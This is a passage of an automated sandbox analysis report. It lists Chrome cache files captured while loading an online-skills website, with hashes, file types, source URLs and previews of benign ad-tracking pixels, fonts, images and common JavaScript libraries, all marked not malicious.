strict";n.r(e);var r,o,a,i,u,c=Object({name:"P&G",pixelUrl:"https:/

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1125
Entropy (8bit):	5.3997084295374895
Encrypted:	false
SSDEEP:	24:kRsQ9P1KMKDplL/grL10jLFB1eNGOIrdXGOGOIvDblK+tP1rD8:ksOdClgrKjhB1eNGO6WOGOGvtd0
MD5:	861E0DACFFB2DE32EF050EA6C32EC719
SHA1:	49B457F1DC76660641DEF49BC65A90E8B53FAE2C
SHA-256:	9C5EC385188C80CF6064B686E8D799F16919FBCFA714945A2624C86E419753A6
SHA-512:	29C2ACA3B52425747462B2E46758900A0082EBE8840549E9B8A9511370CEA1AB84E5D1A0D8C23006B962F82C52F1F201E6699FD3DCE38581FAB0213896B8C0EC
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/amzns2s?r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dgg.com%26id%3D&gdpr=0
Preview:	<html><head><title></title></head><body>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=0&gdpr_consent=&us_privacy=" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=" style="display:none;"></iframe>.<iframe src="https://creativecdn.com/cm-notify?pi=gumgum" style="display:none;"></iframe>.<iframe src="https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?p=gumgum" style="display:none;"></iframe>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:none;"></iframe>.<img src="https://ssbsync.smartadserver.com/api/sync?callerId=15&redirectUri=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dsad%26i%3D%5Bssb_sync_pid%5D&gdpr=0&gdpr_consent=" style="display:none;"/>.<img src="h

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 190440, version 331.524
Category:	downloaded
Size (bytes):	190440
Entropy (8bit):	7.998716181841799
Encrypted:	true
SSDEEP:	3072:pPG3damMECI+BSCT0JNnFIKey0cmAyYvSarX7RTUjicNEM3VqeuDxa7yymVSMcVM:lyhMEKStJNFpetpcvSksiQ3cbxHVSMcy
MD5:	68C2F74F76D4236722607D6EEB8B105D
SHA1:	0F2C00F00EE101D7A976241F41C2472FCD373B19
SHA-256:	9A8ED4A9AE2E4BF2AF86D128B59C0C65E4992B3181E73851FF7D9CDCA3833586
SHA-512:	E129C0FA2B11E2B41F216BDB6CEDB919B5E2722DFF59E7017BC4D4408F3636E65811C7D7A780A8A971CA048F149BD6A052C58F84C68CBE6C68697917ED1FC4FD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-light-300.woff2
Preview:	wOF2....................K......................?FFTM....`...........J.6.$..r..x.. ......'[...C../..`.m...-....R1nyt.M;.I..D........7.Y.j.........].Bd....I...VT.DPu.6MK..u.T..-...'..X.2K............h.m.5?HAGi1+"j...A.y.9.z^....S...B.A..dN.._..>_`.R..~...;".@F&IE3#".I.5IHB...$u..Z...;..[..$D...\.YQ..0....=.r."kho.](g..C.....\%.$.....Ev.S[.X.u...a.(.j..}.]...+.'...{..}g.?.K.m:...J.=F.c...I..b.K....?..p...Z......G..b.y..........yE.;.xC./..O...n.rI...KXa.1.9H...X$..N.".Lp.:.'..cW.1..l.U+j...:.rui..B<.Z...Z.@.P......,..0.6g. ...KE.I,.......),.$.Nx'..'8..W:.....H.-..-....FD..fL......4....=v....S...T..9.....$..@.1r...-[..hn."..X.....k.6`.v.F...7De&hc..@.h.a4.U.o..........#.7{.h.1..aVQ.P.u..\|..a...E#.....O....%3H.$1B)..R......v......gf......[Z.J^..D.&_0......w.@[...LP.i..g....@.......6...................)...u.M.yz.7.....Bv...Ys._.`.Z......].rx .sHD........;.......2..O.o..m.$1..:L........c.@............;@P} ...V..mVUp..nk.t;;...0v. ._.

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1845
Entropy (8bit):	7.1079290432025735
Encrypted:	false
SSDEEP:	24:U8pxb/NEcalV78vlnAlObhhvmu8a7WpEG3dWFW7rZ5ZiXriZVJzljkYpeeU8n8Ja:U8TNNAMbh18fEGN97bZV92YQiCoD
MD5:	2C677C50A5B258F67A585FBB6103AE24
SHA1:	3AFAE105B2198E56F06B95AF2AB7A6CC60965367
SHA-256:	6E7EB7E6D433A6A6F77F111A8FD60F6949CEA0D6FAEA73DEA46F4F669BBF488F
SHA-512:	C2385E8AAA165C55B0C133E1FC041520806AF0FD6E299565FC4A6ACC1AAE943BD712F76ACAC6C83E681CC4399E964788C724D0D41CAF6180B319393D1EA826A9
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/cropped-Earn-And-Excel-Favicon-32x32.jpg
Preview:	......JFIF.....`.`.....C....................................................................C....................................................................... . .."......................................................................Y9<.G..@e..L.P.....u...R.........................................^...r.5q..K..v.:\..K.5......GzBL.h..A..W^y..........y.L+.....H.TI.....&..........................!..."#a...........?....5F..5....o...J.}d.YB..$.B.O2J..<'.Bu.>m.....#..M.v.. "..x.)y........{.:N.O..Y.Xb7..[.}..E.V..-.y..).>?..c....R .V.LpX.6%..A...."..............................12........?....s..s_;.d/]...w>.~C...MHk.....3...(.s.h.....>.{GO.........i...!.z.{..#=..Z!.1 .../L.y.'..px.ae.-...93.cCB.umK..Ta+^d6Z(..9..L^.........f.YP.A#F..1e...h'.J.{AA.u..[................................!.."#1.ABQ2CaR........?.....1.......3....l.O.{t..y.%..).c..wb?.Gb.......?.i...y.....F.......>z..ge..f.g......2........F{uwV...E...+.r..t..G..7..Y8.<q..gL.4..$..,f.9.6r^.....8.....

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1867
Entropy (8bit):	7.64978810902754
Encrypted:	false
SSDEEP:	48:+cKYjwCmjj2wLto9U+6LAFvJWobfqHy+mqA:+cLjxmtUhpvcHiqA
MD5:	D1DBD544BEDE19DB364E8322B5D12FFF
SHA1:	C40D0EFD02F57FDEC2B5BE167E5F88033BD8E3B1
SHA-256:	227540A6D1B4D96366CB1E6FF7F247EEEBE75EC80CC19086D534E09C4E166AAB
SHA-512:	DCA88BEA1ABDD0C65E03D3398DF6321DE2B8FAAB6DD11B996CBE4649E43AD6829EC6AC3F9C89D2A758656B8C3E2D3D378BABE7ED4C29455EAB02AB464B5C41CB
Malicious:	false
Reputation:	low
URL:	https://i.vimeocdn.com/video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=80&q=85
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................1...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......P...-....pixi............av1C........colrnclx...........ipma..................9mdat......g...2.......b....+R.\|.C..0vZ.R5aU$.3ti.0..w.[.........6...9..=..8.w.).....MM{.NRn..dW.K.KaJC..] .&...L.@....e.j.t1.N=..W..I...V...$wD.W...+.~.9F).-..o.....W...N....os:.7.19Qp.F.caI.B..0gh...<P..%-......R......{.....J.;7..A..^..=....s.s.P9G.....{..)y,..w8..g......>QWd.......A.OS.m.Y.........dS......N....(LTp..<..(.T8...#..3X@.....i..?./..V.....?.@.I......^.....~..bY..;..r......jk..S.,F3.P.6.7.......{/.\...g.h...w.&_...g...n."l..RK.....-..K.).l.k.....0...c.. ...h,.#..t1...\|.s.vW$.Q.=.............HR.b.h~....x{...h.i...jh..VW.....Q.D.......9.E...5_x.64..q.r...5".._.M...F.XH.2.'..s9G...I.-....Noi.Bn..(d..".w.y._...o.}4.).../-....$k3.'.....V.DO,2Q..X...K..I...q}..S.F{..R..../C$

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537138692&val=di_b23c26339dbf4ab9aa059
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	18698
Entropy (8bit):	7.9717161903511
Encrypted:	false
SSDEEP:	384:2JdKSi1fWzxp23IhwUIbUC8fFa5cLZ5VpMdeW9cqzyyPqGJ:UdAfWNu5zbJ8fmuudvWIqGJ
MD5:	B1726E6F0C6AB76BDC7E329CDF9195F3
SHA1:	2B4E91889160B2B4F477E20B17FBFDC89C6A369B
SHA-256:	FB7AAB11362EC3EF72A969D4CDD49CC51E40C81E58CD6282C95BEF52B1D4AE09
SHA-512:	17AB723C4A7D016BE980B10B16A6E52480517B06CF64F0B39C849BBD215E9B5C8D9803722996A0B83DAC1160C62B4197CE0F46FB03B1B52ED452342906775E32
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................X...........................!1.AQ...."RSaqt.......25BTUV...#346CDErs....$&7Fcd.'b..%...................................9........................!Q..1R."A#23aq......BSb..c....r............?...Ed.b".$h.. H.4E.....r...Cf..N.\G.s.6.......-.v..:=..w............E.G).dW2..tR.....V...rp].H!KNd.!q.........I...3k..Q...Q.a....^.:..X.....r.!...u...\.j..A].V.%tsS............@...HF.Q..,S.Bo....z.../.F.Z..uA.T\|6..?TnV...K..X.!NY..?.T.....X........)...g%....Y.$$......l..g.V...EW.=X....h.."..zv.e.H2..E"Dj.F@9.1Q.\.Qn5.i6O.HqQ=.T%\..sQR......B.Tfc+'..Z5....{.Mg'.m.+.V..z...f...P.........t.k6..)...h$.<(.Mk...X...uk...p.xGw.V;T&q.`....,...;......I6....qL.k'...}VX.../.b....z.).[QM.. ..n\...b'N...;...R..U..+U.68.]G+.....J..7D.1..7a.i....f.k4[\\...e9ZZ...<)...j.......4

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5098
Entropy (8bit):	4.960230956341007
Encrypted:	false
SSDEEP:	96:FykyxbFoGy2rAulTywuXhygrAulTywuX3yRJ9N39PMf9nNKnu44uGyGPSw:4k4F82rA0ju0grA0juSRLN39PMf9nNK6
MD5:	1AB61982731F68DCC64FE7212964D585
SHA1:	E349EC61F2E52494F4AE564304EADF0574EFA939
SHA-256:	9D77CE9914C43FAEE86D8E838F53D711C89F9EDE1375E91D7F2726371166BA87
SHA-512:	99F66E7C6171463FFE487060DE2003E16313E8CD657D8FCD894114569FB14781F30C0C77ADF5AA2DA46A87DB24D66F9F9EE1470D13F06389402DB28300395610
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/js/tutor-elementor.js
Preview:	'use strict';.(function ($) {...jQuery(window).on('elementor/frontend/init', function () {....elementorFrontend.hooks.addAction('frontend/element_ready/etlms-course-thumbnail.default', function ($scope, $) {....// remove course play and spining class....if (etlmsUtility.is_editor_mode) {.....const coursePlayers = document.querySelectorAll('.course-players');.....if (coursePlayers.length) {......coursePlayers.forEach( (player) => {.......player.setAttribute('class', '');.......const spinner = player.querySelector('.loading-spinner');.......if (spinner) {........spinner.setAttribute('class', '');.......}......})......}....}...});.../*... Course Curriculum... * @since 1.0.0... */...elementorFrontend.hooks.addAction('frontend/element_ready/etlms-course-curriculum.default', function ($scope, $) {....if (etlmsUtility.is_editor_mode) {.....const accordionItemHeaders = document.querySelectorAll('.tutor-accordion-item-header');.....if (accordionItemHeaders) {......accordionItemHeaders.forEac

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/416707819?random=1712870809382&cv=11&fst=1712870809382&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1
Preview:	<html></html>

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126)
Category:	downloaded
Size (bytes):	11224
Entropy (8bit):	5.2603128465032745
Encrypted:	false
SSDEEP:	192:JrprDNvD66fPP/+I6OP1fQP0OIr96DB6MHXcwr1RF:JrprxG6fPP3P1fQMOIsDsMMS
MD5:	79B4956B7EC478EC10244B5E2D33AC7D
SHA1:	A46025B9D05E3DF30D610A8AEF14F392C7058DC9
SHA-256:	029E0A2E809FD6B5DBE76ABE8B7A74936BE306C9A8C27C814C4D44AA54623300
SHA-512:	217F86FEE871FA36ECA4F25830E3917C7BF57A681140B135C508AA32F2A1E3EFF5A80661F3B5BA46747D0C305AF10B658D207F449550F3D417D9683216FEEA8F
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/jquery-migrate.min.js
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	24
Entropy (8bit):	3.5016291673878226
Encrypted:	false
SSDEEP:	3:Y9N/BSY:Yz/0Y
MD5:	8292566B59905BFB6D1201779BC573A4
SHA1:	9F66303C0DE86DB3878825190B55A9F2591D02D3
SHA-256:	82B74D5D795903E404480AC2100DFEF040E92024B94A91FB5AA5A54919159B37
SHA-512:	2A13604C50A7D2228BE592DD5627C37DCE581BB82F6EFB59DD3AEDDA9661154218B008827FC2DD79A2AD03400FC2B218FC183D96824F1A988E2BF3499A16D139
Malicious:	false
Reputation:	low
URL:	"https://sda.fyi/update?cats=687,687,687,687,687,687,687,687"
Preview:	{"2024-04-11":{"687":8}}

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21279), with no line terminators
Category:	downloaded
Size (bytes):	21279
Entropy (8bit):	4.7484336449838525
Encrypted:	false
SSDEEP:	192:P/cYmJba1bfsg1igfXJ+5FkGBoTVXJW0+Gm32e7aqPPpY5vxctth3S6RvW/T5Csd:s0CmjszmhkgVGjqfLvG8HciK2
MD5:	00E2531E966D00F4A3C0AC90C2488B1C
SHA1:	10B25A11097C0C25BC32F7424A0F69C1E7618B96
SHA-256:	50A49C4BF87EA832788AC792CFF163DBDADDE42FF0844BD93FD31C66EC9CB944
SHA-512:	56C2278B82C669FD9E9C60F18DE88F1B561B5448D4C2036F7E73939549522068B60B59047ACBD6372EC7433D20CC826463D1D9D05C60C6925E0C914744A84C0D
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/css/tutor-elementor.min.css
Preview:	.elementor-widget-container .tutor-segment-title{font-size:20px;margin:0}.elementor-widget-container .etlms-lead-info{display:flex;align-items:center;flex-direction:row;flex-wrap:wrap}.elementor-widget-container .etlms-lead-info label{margin-bottom:0}.elementor-widget-container .tutor-single-course-segment{margin-bottom:0;margin-top:0}.elementor-widget-container .tutor-wrap{padding-top:0;margin-top:0;margin-bottom:0}.elementor-align-left .etlms-lead-info{justify-content:flex-start}.elementor-align-left .etlms-author{align-items:flex-start;justify-content:flex-start}.elementor-align-left .etlms-course-specification-items li{justify-content:flex-start}.elementor-align-right .etlms-lead-info{justify-content:flex-end}.elementor-align-right .etlms-course-price>.price>.price{justify-content:flex-start}.elementor-align-right .etlms-author{align-items:flex-end;justify-content:flex-end}.elementor-align-right .etlms-course-specification-items li{justify-content:flex-end}.elementor-align-center .

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-f46229e0-d186-4f50-bcf4-fc793ddc8ce8-005
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537141727&val=18072662075425574953
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.702819531114783
Encrypted:	false
SSDEEP:	3:HPRd:vRd
MD5:	AEA827B1008D0EC176E3B17364B3A776
SHA1:	4A0A895D3EB2FB4B1B09E0A46810A6B56B5FF699
SHA-256:	A203E6F26C6ADBB20B846C6EA3A4424C9EB34F29FBBA6AEA3B2ED45703129AF8
SHA-512:	6B1C080200EF9A0485052DC36BAA615E4BC198B4AEEDA7270E1AA0D1FFBB08D203A24502CE5E35CDF91A5422AB0CBC32034317E0556590C6E0E4554DD1A52411
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnMqsSB1Uf0-xIFDSOC0xg=?alt=proto
Preview:	CgkKBw0jgtMYGgA=

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.345716594214023
Encrypted:	false
SSDEEP:	3:YIzJ6XnKm/DR0xy2/CF+X7IAm2Y:YIFiV0x/CFiIEY
MD5:	5BCD96DF69B201C99EA5E75151216076
SHA1:	D6F629D6168574DCD638DAA702F21E0DDDDB0A18
SHA-256:	69EED40DEB98731C799EEB501843942317AB1C8D04F7E7F55953F3674A92B694
SHA-512:	4FA145220D788F09A4A97F72B5363D453DFADF02476FD9D54E0B71CBBB2022F83F3D67BA70FE59CF0ED5EAFAAB73F676989A432B9C601BC919CDBE22EA9DF414
Malicious:	false
Reputation:	low
Preview:	{"message": "Number of recommendations must be provided (missing \"count\" parameter)"}

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	379
Entropy (8bit):	5.963551117989606
Encrypted:	false
SSDEEP:	6:YVgQ9NWQHri+FyT8OlrcOnXmlm4gX80tNAZEs1NYb0IdxemvWfxBHkYj:YKMNFHm+2N2MdM0tNA6QM0IdxdvWJjj
MD5:	D9D1331B7A6503DD9E74BBE879E9E1F5
SHA1:	FED26D2B8910AE9C614DF7E406E48802C65D099B
SHA-256:	0E45D4ABE6C7893EB63807141B2D1112F7393ED61A7D1CF9DE7F0D8E4AE27069
SHA-512:	7AE0019C5BB179F5C795DA23411BC8BA1900E60C3C803D74D984EB56D4D34B0875927C06DD50580BD3276AE5E55CB9D2D9B6A70E292A1FF855CC460E7A1E01C2
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:28/F8PW7nuQbllf+:Isv9oJWxLNgIQP1XXQEt/zxas5dz6sgn+o6vG87kkrAuJSK3Nvafl9e5lBb4chJdUD/q/n3cEUPM8OJh9QXvQ9nUMbdwx3ei7sNwuhzy","adx":"V1:UBvByCuU7rFt8bD+:vUhxVSZDGDgPqLMrNGQI3QvCuK1yarIYU9jNqkQUP2fxV4oABNH2y/m0m3srxBIHP+ohT/gapi5IucuaZ8y7IGMDNnIOrGyz9Q==","unf":"V1:BMr6UbGLWJQkEcw5:7o4f1Xd55E4JScnKmbf+Oojq2O5jQtOdLvP7ueUdMR/h0msRO7sWymGxZTLHi63nPnHFQK2DWULymo2lyjEutg=="}

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4101), with no line terminators
Category:	downloaded
Size (bytes):	4101
Entropy (8bit):	5.560046581209393
Encrypted:	false
SSDEEP:	96:/2XjHo2SilP5rD02moGkmS6hY3t0wCp9s2ALwQ7a:eMilPFfmo4+7Cpi4Qm
MD5:	2A8D051ABAFD7B1D3F62592455B15F0C
SHA1:	FCF291B4E88C76A5836459AE0C59CBD8246EA0A0
SHA-256:	CA727C9D9C5D3FFA9FC01A2C57D612263A5EF4138DA8D9B8E76E354835882466
SHA-512:	4DE52A5026E9EF873633C3489978627A9C1084099EA7EE5D0874EEE6B7FA664BB98E1A1D49869F947119F0BF67131A27E7CEB2FCD552C10157B9EF12752CFAB9
Malicious:	false
Reputation:	low
URL:	https://ct.pinterest.com/static/ct/token_create.js
Preview:	!function(t){var r={};function i(n){var e;return(r[n]\|\|(e=r[n]={i:n,l:!1,exports:{}},t[n].call(e.exports,e,e.exports,i),e.l=!0,e)).exports}i.m=t,i.c=r,i.d=function(n,e,t){i.o(n,e)\|\|Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"u",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.u)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var r in e)i.d(t,r,function(n){return e[n]}.bind(null,r));return t},i.n=function(n){var e=n&&n.u?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return 